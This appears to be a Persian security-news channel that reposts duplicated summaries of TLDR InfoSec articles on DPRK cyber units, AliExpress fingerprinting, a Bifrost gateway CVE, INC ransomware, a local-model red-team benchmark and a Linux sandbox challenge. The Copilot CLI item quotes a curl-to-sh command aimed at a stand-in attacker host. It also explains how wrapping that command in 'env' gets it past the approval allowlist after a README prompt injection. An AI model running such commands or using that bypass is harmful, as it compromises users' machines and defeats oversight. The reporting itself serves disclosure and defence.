🔵 عنوان مقاله
Beyond Lazarus: How North Korea Organizes Its Cyber Operations (30 minute read)
🟢 خلاصه مقاله:
در سال‌های اخیر، کره‌شمالی به عنوان یکی از تهدیدهای مهم در حوزه امنیت سایبری شناخته شده است. این کشور، از روش‌های متعددی برای توسعه و اجرای عملیات‌های سایبری بهره می‌برد که صرف‌نظر از اهداف جنگ سایبری، به عنوان یک منبع درآمد و ابزار فشار برای دولت عمل می‌کنند. بر اساس تحلیل‌های جدید، کره‌شمالی به صورت همزمان، حملات هکری تهاجمی انجام می‌دهد و منابع مالی قابل توجهی از طریق سرقت‌های سایبری کسب می‌کند. برآوردها نشان می‌دهد که درآمد حاصل از سرقت‌های سایبری سالانه بیش از یک میلیارد دلار است که مستقیماً در تامین برنامه‌های تسلیحاتی و فناوری‌های ممنوعه کشور نقش دارد.
در مطالعه‌ای که توسط تیم‌های امنیتی Sekoia و Kudelski Security انجام شده، ساختار و سلسله‌مراتب گروه‌های مرتبط با این عملیات‌ها به تفصیل مورد بررسی قرار گرفته است. این مطالعه، شبكه‌اي مشخص از سازمان‌ها و گروه‌های هکری را ترسیم می‌کند که در قالب یک ساختار سلسله‌مراتبی فعالیت می‌کنند. این ساختار شامل بخش‌هایی مانند GRIB (که قبلاً در قالب RGB شناخته می‌شد)، اداره اطلاعات ملی کره‌شمالی (NIA) که در ماه ژوئن تغییر نام یافته، و همچنین تجزیه و تحلیل زیرشاخه‌های گروه معروف «لایزرر» است. این گروه در قالب شاخه‌های مختلفی نظیر APT38، Andariel، Famous Chollima و زیرگروه‌های مربوط به Sleet فعالیت می‌کنند و هر یک نقش خاصی در برنامه‌های هکری و عملیات‌های جاسوسی دارند.
علاوه بر ساختارهای مرکزی، این گزارش همچنین به لایه‌های حمایتی، از جمله واحدهای فناوری اطلاعات و نیروی کار فنی، پرداخته است. این واحدها، نقش مهمی در پشتیبانی و تسهیل عملیات‌های سایبری ایفا می‌کنند. در این میان، افراد و تیم‌های فعال در بخش فناوری اطلاعات، مسئول طراحی، توسعه و نگهداری ابزارها و فناوری‌هایی هستند که در حملات سایبری به کار می‌روند. این عناصر، نقش حیاتی در موفقیت کلی این شبکه‌های هکری دارند و بخش مهمی از زیرساخت‌های پشتیبانی برنامه‌های نظامی و صنعتی کشور را تشکیل می‌دهند.
در نتیجه، کره‌شمالی با بهره‌گیری از ساختارهای پیچیده و سازمان‌یافته، به‌طور همزمان، در حوزه‌های اقتصادی و امنیتی فعالیت می‌کند. این کشور با تقویت ظرفیت‌های سایبری و ساختن تیم‌های تخصصی، توانسته است جایگاهی ویژه در میدان جنگ سایبری پیدا کند و به یکی از مهم‌ترین بازیگران در عرصه‌های تهدیدآمیز تبدیل شود.
#امنیت_سایبری #کره_شمالی #هک_حملاتی #جامعه_جهانی
🟣لینک مقاله:
https://www.sekoia.com/blog/beyond-lazarus-organization-of-dprk-cyber-capabilities?utm_source=tldrinfosec
➖➖➖➖➖➖➖➖
👑 @software_Labdon
Beyond Lazarus: How North Korea Organizes Its Cyber Operations (30 minute read)
🟢 خلاصه مقاله:
در سال‌های اخیر، کره‌شمالی به عنوان یکی از تهدیدهای مهم در حوزه امنیت سایبری شناخته شده است. این کشور، از روش‌های متعددی برای توسعه و اجرای عملیات‌های سایبری بهره می‌برد که صرف‌نظر از اهداف جنگ سایبری، به عنوان یک منبع درآمد و ابزار فشار برای دولت عمل می‌کنند. بر اساس تحلیل‌های جدید، کره‌شمالی به صورت همزمان، حملات هکری تهاجمی انجام می‌دهد و منابع مالی قابل توجهی از طریق سرقت‌های سایبری کسب می‌کند. برآوردها نشان می‌دهد که درآمد حاصل از سرقت‌های سایبری سالانه بیش از یک میلیارد دلار است که مستقیماً در تامین برنامه‌های تسلیحاتی و فناوری‌های ممنوعه کشور نقش دارد.
در مطالعه‌ای که توسط تیم‌های امنیتی Sekoia و Kudelski Security انجام شده، ساختار و سلسله‌مراتب گروه‌های مرتبط با این عملیات‌ها به تفصیل مورد بررسی قرار گرفته است. این مطالعه، شبكه‌اي مشخص از سازمان‌ها و گروه‌های هکری را ترسیم می‌کند که در قالب یک ساختار سلسله‌مراتبی فعالیت می‌کنند. این ساختار شامل بخش‌هایی مانند GRIB (که قبلاً در قالب RGB شناخته می‌شد)، اداره اطلاعات ملی کره‌شمالی (NIA) که در ماه ژوئن تغییر نام یافته، و همچنین تجزیه و تحلیل زیرشاخه‌های گروه معروف «لایزرر» است. این گروه در قالب شاخه‌های مختلفی نظیر APT38، Andariel، Famous Chollima و زیرگروه‌های مربوط به Sleet فعالیت می‌کنند و هر یک نقش خاصی در برنامه‌های هکری و عملیات‌های جاسوسی دارند.
علاوه بر ساختارهای مرکزی، این گزارش همچنین به لایه‌های حمایتی، از جمله واحدهای فناوری اطلاعات و نیروی کار فنی، پرداخته است. این واحدها، نقش مهمی در پشتیبانی و تسهیل عملیات‌های سایبری ایفا می‌کنند. در این میان، افراد و تیم‌های فعال در بخش فناوری اطلاعات، مسئول طراحی، توسعه و نگهداری ابزارها و فناوری‌هایی هستند که در حملات سایبری به کار می‌روند. این عناصر، نقش حیاتی در موفقیت کلی این شبکه‌های هکری دارند و بخش مهمی از زیرساخت‌های پشتیبانی برنامه‌های نظامی و صنعتی کشور را تشکیل می‌دهند.
در نتیجه، کره‌شمالی با بهره‌گیری از ساختارهای پیچیده و سازمان‌یافته، به‌طور همزمان، در حوزه‌های اقتصادی و امنیتی فعالیت می‌کند. این کشور با تقویت ظرفیت‌های سایبری و ساختن تیم‌های تخصصی، توانسته است جایگاهی ویژه در میدان جنگ سایبری پیدا کند و به یکی از مهم‌ترین بازیگران در عرصه‌های تهدیدآمیز تبدیل شود.
#امنیت_سایبری #کره_شمالی #هک_حملاتی #جامعه_جهانی
🟣لینک مقاله:
https://www.sekoia.com/blog/beyond-lazarus-organization-of-dprk-cyber-capabilities?utm_source=tldrinfosec
➖➖➖➖➖➖➖➖
👑 @software_Labdon
Sekoia
Beyond Lazarus: How North Korea Organizes Its Cyber Operations
Co-authored by Sekoia and Kudelski Security, this report maps North Korea’s cyber ecosystem, from state institutions and APT clusters to IT worker operations.
🔵 عنوان مقاله
AliExpress accused of fingerprinting shoppers with silent audio trick that also muted a dev's headphones (3 minute read)
🟢 خلاصه مقاله:
شرکت علی‌اکسپرس به اتهام جمع‌آوری اطلاعات شخصی کاربران و نظارت بر فعالیت‌های آنها متهم شده است. بر اساس تحقیقات، اسکریپت‌های این پلتفرم به طورتخفیف حتی بدون اعلام، امواج صوتی نامرئی در مرورگر کاربر ایجاد می‌کنند. این امواج که به سیگنال‌های نوع “Sawtooth” معروف هستند، هدفشان جمع‌آوری داده‌های مختلف مانند فرکانس‌های صوتی، اندازه صفحه نمایش، میزان حافظه مصرف‌شده، افزونه‌های نصب‌شده، فناوری WebGL و فعالیت‌های موس است.
آن‌طور که محققان توضیح می‌دهند، این سیگنال‌های صوتی فعال باعث می‌شوند که مرورگر نقش یک میکروفن را ایفا کند، حتی اگر کاربر صدای زیادی نشنود یا صدای سیستم خاموش باشد. در واقع، این روش در پس‌زمینه مجاز است تا اطلاعاتی را که می‌تواند برای شناسایی دستگاه‌ها یا ردیابی کاربران مفید باشد، جمع‌آوری کند.
در کنار این، موضوع قابل توجه دیگر این است که این فناوری به گونه‌ای طراحی شده که کاربر هیچ چیزی متوجه نشود. حتی جالب است بدانید که در بعضی موارد، این اسکریپت‌ها باعث خاموش کردن هدفون‌های توسعه‌دهندگان می‌شدند، به طوری که صدای هشدار یا نوتیفیکیشن‌ها نیز بی‌صدا می‌ماند. این اقدامات، نگرانی‌هایی درباره حریم شخصی و امنیت کاربران را برانگیخته است، زیرا اطلاعات جمع‌آوری‌شده بدون اطلاع و رضایت آنان صورت می‌گیرد.
در مجموع، این روش جمع‌آوری داده‌ها نشان می‌دهد که شرکت‌ها چگونه با بهره‌گیری از فناوری‌های نوین، به طور مخفیانه در حال نظارت بر کاربران هستند. این اتهامات، نیازمند بررسی‌های بیشتری از طرف نهادهای مسئول حریم خصوصی و امنیت سایبری است تا امنیت و حقوق کاربران حفظ شود.
#حریم_شخصی #امنیت_سایبری #حفاظت_اطلاعات #علی‌اکسپرس
🟣لینک مقاله:
https://www.theregister.com/security/2026/08/24/aliexpress-accused-of-fingerprinting-shoppers-with-silent-audio-trick-that-also-muted-a-devs-headphones/5291662?utm_source=tldrinfosec
➖➖➖➖➖➖➖➖
👑 @software_Labdon
AliExpress accused of fingerprinting shoppers with silent audio trick that also muted a dev's headphones (3 minute read)
🟢 خلاصه مقاله:
شرکت علی‌اکسپرس به اتهام جمع‌آوری اطلاعات شخصی کاربران و نظارت بر فعالیت‌های آنها متهم شده است. بر اساس تحقیقات، اسکریپت‌های این پلتفرم به طورتخفیف حتی بدون اعلام، امواج صوتی نامرئی در مرورگر کاربر ایجاد می‌کنند. این امواج که به سیگنال‌های نوع “Sawtooth” معروف هستند، هدفشان جمع‌آوری داده‌های مختلف مانند فرکانس‌های صوتی، اندازه صفحه نمایش، میزان حافظه مصرف‌شده، افزونه‌های نصب‌شده، فناوری WebGL و فعالیت‌های موس است.
آن‌طور که محققان توضیح می‌دهند، این سیگنال‌های صوتی فعال باعث می‌شوند که مرورگر نقش یک میکروفن را ایفا کند، حتی اگر کاربر صدای زیادی نشنود یا صدای سیستم خاموش باشد. در واقع، این روش در پس‌زمینه مجاز است تا اطلاعاتی را که می‌تواند برای شناسایی دستگاه‌ها یا ردیابی کاربران مفید باشد، جمع‌آوری کند.
در کنار این، موضوع قابل توجه دیگر این است که این فناوری به گونه‌ای طراحی شده که کاربر هیچ چیزی متوجه نشود. حتی جالب است بدانید که در بعضی موارد، این اسکریپت‌ها باعث خاموش کردن هدفون‌های توسعه‌دهندگان می‌شدند، به طوری که صدای هشدار یا نوتیفیکیشن‌ها نیز بی‌صدا می‌ماند. این اقدامات، نگرانی‌هایی درباره حریم شخصی و امنیت کاربران را برانگیخته است، زیرا اطلاعات جمع‌آوری‌شده بدون اطلاع و رضایت آنان صورت می‌گیرد.
در مجموع، این روش جمع‌آوری داده‌ها نشان می‌دهد که شرکت‌ها چگونه با بهره‌گیری از فناوری‌های نوین، به طور مخفیانه در حال نظارت بر کاربران هستند. این اتهامات، نیازمند بررسی‌های بیشتری از طرف نهادهای مسئول حریم خصوصی و امنیت سایبری است تا امنیت و حقوق کاربران حفظ شود.
#حریم_شخصی #امنیت_سایبری #حفاظت_اطلاعات #علی‌اکسپرس
🟣لینک مقاله:
https://www.theregister.com/security/2026/08/24/aliexpress-accused-of-fingerprinting-shoppers-with-silent-audio-trick-that-also-muted-a-devs-headphones/5291662?utm_source=tldrinfosec
➖➖➖➖➖➖➖➖
👑 @software_Labdon
theregister
AliExpress accused of fingerprinting shoppers with silent audio trick that also muted a dev's headphones
Sawtooth waves you can't hear still mess with your Bluetooth. Firefox and Brave say they've got you covered
🔵 عنوان مقاله
Critical Bifrost AI Gateway Flaw Lets Attackers Run Commands Without Credentials (3 minute read)
🟢 خلاصه مقاله:
در گزارشی که به تازگی منتشر شده، یک آسیب‌پذیری بحرانی در دروازه هوشمند Bifrost کشف شده است که می‌تواند هکرها را قادر سازد تا بدون نیاز به مجوزهای معتبر، دستورات دلخواه خود را اجرا کنند. این دروازه، یک سامانه منبع باز است که برای بیش از بیست ارائه‌دهنده مدل‌های زبانی بزرگ (LLM) طراحی شده است و به طور پیش‌فرض، قسمت مدیریت آن غیرفعال است. اما مشکلی اساسی وجود دارد: صرف یک درخواست POST بدون احراز هویت به آدرس /api/mcp/client کافی است تا یک مشتری stdio MCP ثبت شده و بتواند دستورات دلخواه را به نام کاربری دروازه اجرا کند. این مشکل که شناسه‌اش CVE-2026-90898 است و امتیاز CVSS آن ۹.۸ می‌باشد، منجر به افشای کلیدهای API هر ارائه‌دهنده ذخیره‌شده در سیستم می‌شود که خطری بزرگ برای امنیت است.
نکته نگران‌کننده دیگر، این است که نسخه رسمی داکر ایمیج این دروازه، API مدیریت را بر روی آدرس ۰.۰.۰.۰ بسته است، و تنها نسخه ۲.۰.۰ آن، یک آسیب‌پذیری مرتبط در بارگذاری افزونه‌ها را که شناسه‌اش CVE-2026-86242 و امتیاز CVSS ۸.۱ است، برطرف کرده است. بنابراین، برای محافظت بهتر، توصیه می‌شود کاربران به نسخه جدیدتر انتقا دهند، یعنی نسخه ۲.۱.۰ یا بالاتر، و یا تنظیمات مربوط به governance را اصلاح کنند تا هرگونه دسترسی غیرمجاز مسدود شود.
در کل، این آسیب‌پذیری نشان می‌دهد که نیاز به آپدیت و مراقبت دائم از سامانه‌های مدیریتی هوشمند، اهمیت زیادی دارد؛ چرا که در صورت سوءاستفاده، امکان دسترسی کامل به اطلاعات حساس و کنترل کامل بر سامانه وجود دارد.
#امنیت_سایبری #آسیب‌پذیری_دروازه #حفاظت_اطلاعات #هوش_مصنوعی
🟣لینک مقاله:
https://thehackernews.com/2026/09/critical-bifrost-ai-gateway-flaw-lets.html?utm_source=tldrinfosec
➖➖➖➖➖➖➖➖
👑 @software_Labdon
Critical Bifrost AI Gateway Flaw Lets Attackers Run Commands Without Credentials (3 minute read)
🟢 خلاصه مقاله:
در گزارشی که به تازگی منتشر شده، یک آسیب‌پذیری بحرانی در دروازه هوشمند Bifrost کشف شده است که می‌تواند هکرها را قادر سازد تا بدون نیاز به مجوزهای معتبر، دستورات دلخواه خود را اجرا کنند. این دروازه، یک سامانه منبع باز است که برای بیش از بیست ارائه‌دهنده مدل‌های زبانی بزرگ (LLM) طراحی شده است و به طور پیش‌فرض، قسمت مدیریت آن غیرفعال است. اما مشکلی اساسی وجود دارد: صرف یک درخواست POST بدون احراز هویت به آدرس /api/mcp/client کافی است تا یک مشتری stdio MCP ثبت شده و بتواند دستورات دلخواه را به نام کاربری دروازه اجرا کند. این مشکل که شناسه‌اش CVE-2026-90898 است و امتیاز CVSS آن ۹.۸ می‌باشد، منجر به افشای کلیدهای API هر ارائه‌دهنده ذخیره‌شده در سیستم می‌شود که خطری بزرگ برای امنیت است.
نکته نگران‌کننده دیگر، این است که نسخه رسمی داکر ایمیج این دروازه، API مدیریت را بر روی آدرس ۰.۰.۰.۰ بسته است، و تنها نسخه ۲.۰.۰ آن، یک آسیب‌پذیری مرتبط در بارگذاری افزونه‌ها را که شناسه‌اش CVE-2026-86242 و امتیاز CVSS ۸.۱ است، برطرف کرده است. بنابراین، برای محافظت بهتر، توصیه می‌شود کاربران به نسخه جدیدتر انتقا دهند، یعنی نسخه ۲.۱.۰ یا بالاتر، و یا تنظیمات مربوط به governance را اصلاح کنند تا هرگونه دسترسی غیرمجاز مسدود شود.
در کل، این آسیب‌پذیری نشان می‌دهد که نیاز به آپدیت و مراقبت دائم از سامانه‌های مدیریتی هوشمند، اهمیت زیادی دارد؛ چرا که در صورت سوءاستفاده، امکان دسترسی کامل به اطلاعات حساس و کنترل کامل بر سامانه وجود دارد.
#امنیت_سایبری #آسیب‌پذیری_دروازه #حفاظت_اطلاعات #هوش_مصنوعی
🟣لینک مقاله:
https://thehackernews.com/2026/09/critical-bifrost-ai-gateway-flaw-lets.html?utm_source=tldrinfosec
➖➖➖➖➖➖➖➖
👑 @software_Labdon
🔵 عنوان مقاله
The Tale of Two INC Ransom Notes (8 minute read)
🟢 خلاصه مقاله:
در اوایل ماه آگوست، حمله با باج‌افزار اینک (INC) که روی بیش از ۱۷۵ نقطه انتهایی شبکه رخ داده بود، آغاز شد. این حمله با اجرای تصادفی وظایف زمان‌بندی‌شده‌ای شروع شد که یک اسکریپت پاورشلیف مخفی شده را اجرا می‌کرد و حرکت جانبی از طریق پروتکل دسکتاپ‌راه‌دور (RDP) را هدایت می‌نمود. پس از مدت ۱۷ روز سکوت و کم‌حرکتی، هکرها ابزارهایی مانند netscan.exe و یک کُشنده EDR به نام hwau.exe که در حال بارگذاری درایور HwAudio بود، را وارد شبکه کردند. سپس، با استفاده از ابزار Impacket و اسکریپت atexec.py، Payload حمله به سیستم‌ها تحویل داده شد.
پس از وقوع این حمله، تیم Huntress وارد ماجرا شد؛ اما اطلاعات مربوط به نقطه دسترسی اولیه در این مرحله مشخص نیست و به نظر می‌رسد که یک واسطه (access broker) ابتدا نفوذ را انجام داده و پس از آن، نفوذ را به یک شریک (affiliate) سپرده است. این شریک، بر اساس الگویی مشابه، از راه‌های معمول و شناخته‌شده برای دسترسی و پیشبرد اهداف خود بهره برداری کرده است، و نشان می‌دهد که این حمله از یک سلسله‌مراتب سازمان‌یافته و پیچیده پیروی می‌کند که در آن تراکنش‌های مختلف در مسیر نفوذ صورت می‌گیرد.
در نهایت، این سناریو نشان‌دهنده اهمیت بررسی دقیق و ردیابی مسیر نفوذ در شبکه است، مخصوصاً در مواردی که مهاجمان از روش‌های مخفی و هدفمندی برای نفوذ و استحاله سیستم‌ها استفاده می‌کنند. شناخت نقطه شروع و مسیر حرکت هکرها کلید مهمی برای مقابله و جلوگیری از تکرار چنین حملاتی است.
#امنیت_شبکه #باج‌افزار #نفوذ_سایبری #پیشگیری
🟣لینک مقاله:
https://www.huntress.com/blog/two-inc-ransom-notes?utm_source=tldrinfosec
➖➖➖➖➖➖➖➖
👑 @software_Labdon
The Tale of Two INC Ransom Notes (8 minute read)
🟢 خلاصه مقاله:
در اوایل ماه آگوست، حمله با باج‌افزار اینک (INC) که روی بیش از ۱۷۵ نقطه انتهایی شبکه رخ داده بود، آغاز شد. این حمله با اجرای تصادفی وظایف زمان‌بندی‌شده‌ای شروع شد که یک اسکریپت پاورشلیف مخفی شده را اجرا می‌کرد و حرکت جانبی از طریق پروتکل دسکتاپ‌راه‌دور (RDP) را هدایت می‌نمود. پس از مدت ۱۷ روز سکوت و کم‌حرکتی، هکرها ابزارهایی مانند netscan.exe و یک کُشنده EDR به نام hwau.exe که در حال بارگذاری درایور HwAudio بود، را وارد شبکه کردند. سپس، با استفاده از ابزار Impacket و اسکریپت atexec.py، Payload حمله به سیستم‌ها تحویل داده شد.
پس از وقوع این حمله، تیم Huntress وارد ماجرا شد؛ اما اطلاعات مربوط به نقطه دسترسی اولیه در این مرحله مشخص نیست و به نظر می‌رسد که یک واسطه (access broker) ابتدا نفوذ را انجام داده و پس از آن، نفوذ را به یک شریک (affiliate) سپرده است. این شریک، بر اساس الگویی مشابه، از راه‌های معمول و شناخته‌شده برای دسترسی و پیشبرد اهداف خود بهره برداری کرده است، و نشان می‌دهد که این حمله از یک سلسله‌مراتب سازمان‌یافته و پیچیده پیروی می‌کند که در آن تراکنش‌های مختلف در مسیر نفوذ صورت می‌گیرد.
در نهایت، این سناریو نشان‌دهنده اهمیت بررسی دقیق و ردیابی مسیر نفوذ در شبکه است، مخصوصاً در مواردی که مهاجمان از روش‌های مخفی و هدفمندی برای نفوذ و استحاله سیستم‌ها استفاده می‌کنند. شناخت نقطه شروع و مسیر حرکت هکرها کلید مهمی برای مقابله و جلوگیری از تکرار چنین حملاتی است.
#امنیت_شبکه #باج‌افزار #نفوذ_سایبری #پیشگیری
🟣لینک مقاله:
https://www.huntress.com/blog/two-inc-ransom-notes?utm_source=tldrinfosec
➖➖➖➖➖➖➖➖
👑 @software_Labdon
Huntress
The Tale of Two INC Ransom Notes: A Ransomware Timeline | Huntress
Huntress analysts reconstructed a three-week INC ransomware attack from endpoint data, uncovering a 17-day lull despite missing process telemetry.
🔵 عنوان مقاله
GitHub Copilot CLI Downloads and Executes Malware (3 minute read)
🟢 خلاصه مقاله:
در تحقیقاتی جدید، محققان نشان دادند که ابزار خط فرمان GitHub Copilot می‌تواند فریب‌خورده و بدون نیاز به تایید کاربر، دستورات مخرب شل را اجرا کند. این حمله با وارد کردن یک حمله تزریق درحین خواندن فایل README امکان‌پذیر است؛ در نتیجه، فرد مهاجم می‌تواند دستوری مانند «env curl -s "https://[آدرس مهاجم].com/bugbot" | env sh» را اجرا کند.
در این مثال، دستور «env» در فهرست دستورات قابل قبول و فقط خواندنی داخلی GitHub Copilot قرار دارد، بنابراین به صورت خودکار تایید می‌شود. علاوه بر این، پارامترهای «curl» و «sh» به عنوان آرگومان‌های دستور «env» دیده می‌شوند، بنابراین سیستم اعتبارسنجی نمی‌تواند آنها را تشخیص دهد و عملیات دانلود و اجرای بدافزار بدون نیاز به تایید صورت می‌گیرد. این حمله خطرناک، امکان دانلود و اجرای کد مخرب را فراهم می‌کند و کاربر از آن بی‌اطلاع باقی می‌ماند، که این مسئله می‌تواند عواقب جبران‌ناپذیری در امنیت سیستم‌ها و داده‌ها داشته باشد.
#امنیت_سایبری # دیجیتال_امنیت #حملات_سیبری #بدافزار
🟣لینک مقاله:
https://www.promptarmor.com/resources/github-copilot-cli-downloads-and-executes-malware?utm_source=tldrinfosec
➖➖➖➖➖➖➖➖
👑 @software_Labdon
GitHub Copilot CLI Downloads and Executes Malware (3 minute read)
🟢 خلاصه مقاله:
در تحقیقاتی جدید، محققان نشان دادند که ابزار خط فرمان GitHub Copilot می‌تواند فریب‌خورده و بدون نیاز به تایید کاربر، دستورات مخرب شل را اجرا کند. این حمله با وارد کردن یک حمله تزریق درحین خواندن فایل README امکان‌پذیر است؛ در نتیجه، فرد مهاجم می‌تواند دستوری مانند «env curl -s "https://[آدرس مهاجم].com/bugbot" | env sh» را اجرا کند.
در این مثال، دستور «env» در فهرست دستورات قابل قبول و فقط خواندنی داخلی GitHub Copilot قرار دارد، بنابراین به صورت خودکار تایید می‌شود. علاوه بر این، پارامترهای «curl» و «sh» به عنوان آرگومان‌های دستور «env» دیده می‌شوند، بنابراین سیستم اعتبارسنجی نمی‌تواند آنها را تشخیص دهد و عملیات دانلود و اجرای بدافزار بدون نیاز به تایید صورت می‌گیرد. این حمله خطرناک، امکان دانلود و اجرای کد مخرب را فراهم می‌کند و کاربر از آن بی‌اطلاع باقی می‌ماند، که این مسئله می‌تواند عواقب جبران‌ناپذیری در امنیت سیستم‌ها و داده‌ها داشته باشد.
#امنیت_سایبری # دیجیتال_امنیت #حملات_سیبری #بدافزار
🟣لینک مقاله:
https://www.promptarmor.com/resources/github-copilot-cli-downloads-and-executes-malware?utm_source=tldrinfosec
➖➖➖➖➖➖➖➖
👑 @software_Labdon
Promptarmor
GitHub Copilot CLI Downloads and Executes Malware
Vulnerabilities in the GitHub Copilot CLI expose users to the risk of arbitrary shell command execution via indirect prompt injection without any user approval. We demonstrate that malware can be downloaded from external servers and executed with no user…
🔵 عنوان مقاله
Two DGX Sparks, 33 Local Models, One Question: Can Local AI Actually Red Team? (38 minute read)
🟢 خلاصه مقاله:
در این مقاله، رونویش و ارزیابی جامع از توانایی‌های مدل‌های محلی در مقابل حملات تیم قرمز ارائه شده است. در مطالعه‌ای که توسط روئی شرمن انجام شد، ۳۳ مدل محلی مختلف روی خوشه‌ای از دو نود DGX Spark آزمایش شدند تا قابلیت‌های آنها در حملات تیم قرمز مورد سنجش قرار گیرد. این ارزیابی شامل چندین بخش بود: ابتدا یک قابلیت امنیتی، که در آن توانایی مدل‌ها در استنتاج و استدلال در قالب سناریوی سه‌مرحله‌ای تیم قرمز مورد آزمایش قرار گرفت؛ سپس یک معیار استاندارد برای ارزیابی آمادگی و دقت پاسخ‌های مدل‌ها در مقابل حملات تیم قرمز، و در نهایت یک می‌ن‌برد کد که شامل مجموعه‌های آزمون Polyglot Aider و دو مجموعه سفارشی دیگر بود.
در طول این ارزیابی، شرمن مشاهده کرد که مدل‌های MoE (مدل‌های میتی)، در تمام این بخش‌ها به طور مداوم عملکردی فراتر از سطح کلاس خود نشان دادند. این نتایج نشان می‌دهد که بعضی مدل‌های محلی نه تنها توانایی استدلال قوی دارند، بلکه در برابر حملات تیم قرمز نیز مقاوم هستند و می‌توانند در مواردی تهدیدهای امنیتی را شناسایی و دفع کنند. این یافته‌ها حاکی از پتانسیل بالای مدل‌های محلی در امنیت سایبری و قابلیت‌های آزمایش نفوذ در حوزه هوش مصنوعی است، که نکته‌ای بسیار مهم در توسعه و پیاده‌سازی سیستم‌های هوشمند امن است.
#هوش_مصنوعی #امنیت_سایبری #مدل‌های_محلی #تست_نفوذ
🟣لینک مقاله:
https://betheadversary.com/posts/dgx_spark_red_team_bench/?utm_source=tldrinfosec
➖➖➖➖➖➖➖➖
👑 @software_Labdon
Two DGX Sparks, 33 Local Models, One Question: Can Local AI Actually Red Team? (38 minute read)
🟢 خلاصه مقاله:
در این مقاله، رونویش و ارزیابی جامع از توانایی‌های مدل‌های محلی در مقابل حملات تیم قرمز ارائه شده است. در مطالعه‌ای که توسط روئی شرمن انجام شد، ۳۳ مدل محلی مختلف روی خوشه‌ای از دو نود DGX Spark آزمایش شدند تا قابلیت‌های آنها در حملات تیم قرمز مورد سنجش قرار گیرد. این ارزیابی شامل چندین بخش بود: ابتدا یک قابلیت امنیتی، که در آن توانایی مدل‌ها در استنتاج و استدلال در قالب سناریوی سه‌مرحله‌ای تیم قرمز مورد آزمایش قرار گرفت؛ سپس یک معیار استاندارد برای ارزیابی آمادگی و دقت پاسخ‌های مدل‌ها در مقابل حملات تیم قرمز، و در نهایت یک می‌ن‌برد کد که شامل مجموعه‌های آزمون Polyglot Aider و دو مجموعه سفارشی دیگر بود.
در طول این ارزیابی، شرمن مشاهده کرد که مدل‌های MoE (مدل‌های میتی)، در تمام این بخش‌ها به طور مداوم عملکردی فراتر از سطح کلاس خود نشان دادند. این نتایج نشان می‌دهد که بعضی مدل‌های محلی نه تنها توانایی استدلال قوی دارند، بلکه در برابر حملات تیم قرمز نیز مقاوم هستند و می‌توانند در مواردی تهدیدهای امنیتی را شناسایی و دفع کنند. این یافته‌ها حاکی از پتانسیل بالای مدل‌های محلی در امنیت سایبری و قابلیت‌های آزمایش نفوذ در حوزه هوش مصنوعی است، که نکته‌ای بسیار مهم در توسعه و پیاده‌سازی سیستم‌های هوشمند امن است.
#هوش_مصنوعی #امنیت_سایبری #مدل‌های_محلی #تست_نفوذ
🟣لینک مقاله:
https://betheadversary.com/posts/dgx_spark_red_team_bench/?utm_source=tldrinfosec
➖➖➖➖➖➖➖➖
👑 @software_Labdon
Be The Adversary
Two DGX Sparks, 33 Local Models, One Question: Can Local AI Actually Red Team?
TL;DR: I built a two-node NVIDIA DGX Spark cluster and benchmarked 33 local, open-weight models for real red-team work: BloodHound attack-path analysis, phishing design, offensive coding, and a …
🔵 عنوان مقاله
$1 Million Sandbox Challenge Uncovers Linux Kernel Flaws (3 minute read)
🟢 خلاصه مقاله:
در چالش شن‌نشاندن یک میلیون دلاری، محققان و هکرها به مدت دو هفته فرصت داشتند تا اشکالات در کرنل لینوکس را پیدا و گزارش دهند. این چالش که توسط شرکت Vercel برگزار شد، در مجموع ۱۲۸۵ گزارش دریافت کرد و از بین آنها ۹۲ مورد تایید شد، که یک مشکل حیاتی در میان آنها قرار داشت. نکته مهم این است که هیچ گزارشی منجر به دسترسی به اطلاعات مشتریان نشد و نشان می‌دهد که روند امنیت سرویس‌های این شرکت در سطح مناسبی قرار دارد.
در میان گزارش‌های ارسالی، یکی از موارد برجسته، به زنجیره‌ای از آسیب‌پذیری‌های شبکه در لینوکس مربوط می‌شد. این آسیب‌پذیری‌ها یک نقص در حافظه هسته میزبان و دیگری منجر به کرش قطعی سیستم میزبان می‌شد، که می‌تواند در صورت بهره‌برداری، سیستم‌های تحت نظر را دچار مشکل کند. در حال حاضر، تیم‌های توسعه و امنیت در حال بررسی و اصلاح این آسیب‌پذیری‌ها هستند و پچ‌های لازم در مرحله بررسی خصوصی قرار دارند. لازم به ذکر است که شماره‌های CVE مربوطه هنوز اعلام نشده‌اند، اما انتظار می‌رود در آینده نزدیک منتشر شوند.
این رویداد نشان دهنده اهمیت امنیت، رقابت و همکاری در جامعه متن‌باز و نقش آن در بهبود مداوم امنیت زیرساخت‌های فناوری است. همان‌طور که شرکت‌ها و توسعه‌دهندگان همواره در حال تلاش برای شناسایی و رفع نقاط ضعف هستند، این نوع چالش‌ها تاثیر مستقیمی در تقویت امنیت سیستم‌های پایه دارند و بهره‌مندی از این روند، به نفع تمامی کاربران است.
#امنیت_سیستم #کرنل_لینوکس #حفاظت_پایگاه_داده #چالش_امنیتی
🟣لینک مقاله:
https://www.securityweek.com/1-million-sandbox-challenge-uncovers-linux-kernel-flaws/?utm_source=tldrinfosec
➖➖➖➖➖➖➖➖
👑 @software_Labdon
$1 Million Sandbox Challenge Uncovers Linux Kernel Flaws (3 minute read)
🟢 خلاصه مقاله:
در چالش شن‌نشاندن یک میلیون دلاری، محققان و هکرها به مدت دو هفته فرصت داشتند تا اشکالات در کرنل لینوکس را پیدا و گزارش دهند. این چالش که توسط شرکت Vercel برگزار شد، در مجموع ۱۲۸۵ گزارش دریافت کرد و از بین آنها ۹۲ مورد تایید شد، که یک مشکل حیاتی در میان آنها قرار داشت. نکته مهم این است که هیچ گزارشی منجر به دسترسی به اطلاعات مشتریان نشد و نشان می‌دهد که روند امنیت سرویس‌های این شرکت در سطح مناسبی قرار دارد.
در میان گزارش‌های ارسالی، یکی از موارد برجسته، به زنجیره‌ای از آسیب‌پذیری‌های شبکه در لینوکس مربوط می‌شد. این آسیب‌پذیری‌ها یک نقص در حافظه هسته میزبان و دیگری منجر به کرش قطعی سیستم میزبان می‌شد، که می‌تواند در صورت بهره‌برداری، سیستم‌های تحت نظر را دچار مشکل کند. در حال حاضر، تیم‌های توسعه و امنیت در حال بررسی و اصلاح این آسیب‌پذیری‌ها هستند و پچ‌های لازم در مرحله بررسی خصوصی قرار دارند. لازم به ذکر است که شماره‌های CVE مربوطه هنوز اعلام نشده‌اند، اما انتظار می‌رود در آینده نزدیک منتشر شوند.
